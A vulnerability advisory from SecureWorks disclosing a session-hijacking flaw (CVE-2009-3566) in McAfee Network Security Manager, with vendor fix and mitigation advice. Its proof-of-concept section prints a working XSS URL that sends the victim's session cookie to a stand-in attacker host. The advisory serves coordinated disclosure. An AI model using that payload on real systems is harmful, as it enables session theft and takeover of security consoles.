**SecureWorks Security Advisory SWRX-2009-002**
**McAfee Network Security Manager Authentication Bypass and Session Hijacking Vulnerability**

## Advisory Information

Title: McAfee Network Security Manager Authentication Bypass and Session Hijacking Vulnerability
Advisory ID: SWRX-2009-002
Advisory URL: http://www.secureworks.com/ctu/advisories/SWRX-2009-002
Date published: Wednesday, November 11, 2009
CVE: CVE-2009-3566
CVSS v2 Base Score: 4.3 (Medium) (AV:N/AC:M/Au:N/C:P/I:N/A:N)
Date of last update: Wednesday, November 11, 2009
Vendors contacted: McAfee, Inc.
Release mode: Coordinated release
Discovered by: Daniel King, SecureWorks

## Summary

McAfee Network Security Manager is vulnerable to authentication bypass via HTTP session cookie hijacking. A remote attacker could exploit this vulnerability to hijack an existing session to the Network Security Manager.

## Affected Products

McAfee Network Security Manager (NSM), version 5.1.7.7 (default configuration).

It is unknown which other versions, if any, are affected as of November 11, 2009.

## Vendor Information, Solutions and Workarounds

McAfee has provided a new release to address this security flaw. Upgrade NSM software to NSM 5.1.11.8.1 or above, available for McAfee NSM clients at:

https://secure.nai.com/apps/downloads/my_products/login.asp

More information is available from McAfee at:

McAfee Security Bulletin SB10005
Intrushield NSM update fixes Session Hijacking flaw
https://kc.mcafee.com/corporate/index?page=content&id=SB10005

Follow best practices of placing the security management console on a segregated management network. Apply restrictive, default-deny firewall policies to protect these assets from access by unauthorized users.

Do not perform administrative access of security management consoles from computers exposed to the Internet through web browsing, email, and other applications. Lock down and heavily monitor systems used to perform administrative tasks such as accessing security management consoles.

**Details**

When a user loads the login page of the Network Security Manager, the server sets a cookie within the browser before authentication occurs. This cookie is accessible from client-side JavaScript because the "HttpOnly" flag is not set. An attacker with access to this cookie may gain privileged access to the Network Security Manager without the need to authenticate.

**SecureWorks Risk Scoring**

Likelihood: 2 – Best practice is to deploy the management console web application on a segmented management network.

Impact: 5 – Control over security appliances managed by the management console.

**CVSS Severity (version 2.0)**

Access Vector: Network exploitable; Victim must voluntarily interact with attack mechanism
Access Complexity: Medium
Authentication: Not required to exploit
Impact Type: Allows unauthorized modification
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None
Impact Subscore: 2.9
Exploitability Subscore: 8.6
CVSS v2 Base Score: 4.3 (Medium) (AV:N/AC:M/Au:N/C:P/I:N/A:N)

**Proof of Concept**

The following demonstrates theft of the session identifier. A cross-site scripting vulnerability is leveraged to steal the cookie data.

Example URL used in cookie theft:

https://x.x.x.x/intruvert/jsp/module/Login.jsp?password=&Login%2bID=&node=&iaction=precreatefcb14%22%3E%3Cscript%3Enew%20Image().src=%22http://x.x.x.x/mcafee/log.cgi?c=%22%2BencodeURI(document.cookie);%3C/script%3E8b3283a1e57

Because the "HttpOnly" flag is not set on the cookie, the cookie data is available from client-side JavaScript. The URL above injects a JavaScript image object within an XSS attack. The src method is then invoked on the Image object, and the URL passed to the object contains a URI-encoded version of the cookie data.

This will cause the victim's browser to connect to the URL and attempt to fetch this image. Since the image does not exist, nothing will display on the victim's browser. The attacker's web server access logs will contain the victim's cookie data, including the session identifier.

Using the victim's session identifier, the attacker can send a specially-crafted HTTP request to the server that will result in an authentication bypass.

**Revision History**

1.0 November 11, 2009 – Initial advisory release

**PGP Keys**

This advisory has been signed with the PGP key of the SecureWorks Counter Threat Unit(SM), which is available for download at http://www.secureworks.com/contact/SecureWorksCTU.asc.

**About the SecureWorks Counter Threat Unit℠**

Our expert team of threat researchers, also known as the SecureWorks Counter Threat Unit℠, identifies and analyzes emerging threats and develops countermeasures, correlations and SOC processes to protect clients' critical information assets. The CTU frequently serves as an expert resource for the media, publishes technical analyses for the security community and speaks about emerging threats at security conferences. Leveraging our security technologies and a network of industry contacts, the CTU tracks leading hackers and analyzes anomalous activity, uncovering new attack techniques and threats. This process enables the CTU to identify threats as they emerge and develop countermeasures that protect our clients before damage occurs.

**About SecureWorks**

With over 2000 clients, SecureWorks has become one of the leading Security as a Service providers safeguarding more organizations 24x7 than any other vendor. SecureWorks focuses exclusively on information security services and was recently positioned in the Leader's Quadrant in Gartner's Magic Quadrant for Managed Security Services Providers (MSSPs). SecureWorks Security Information and Event Management (SIEM) platform augmented with applied security research and 100% GIAC-certified

experts protects clients with our award-winning Managed Security Services and SIM On-Demand solution.

**Disclaimer**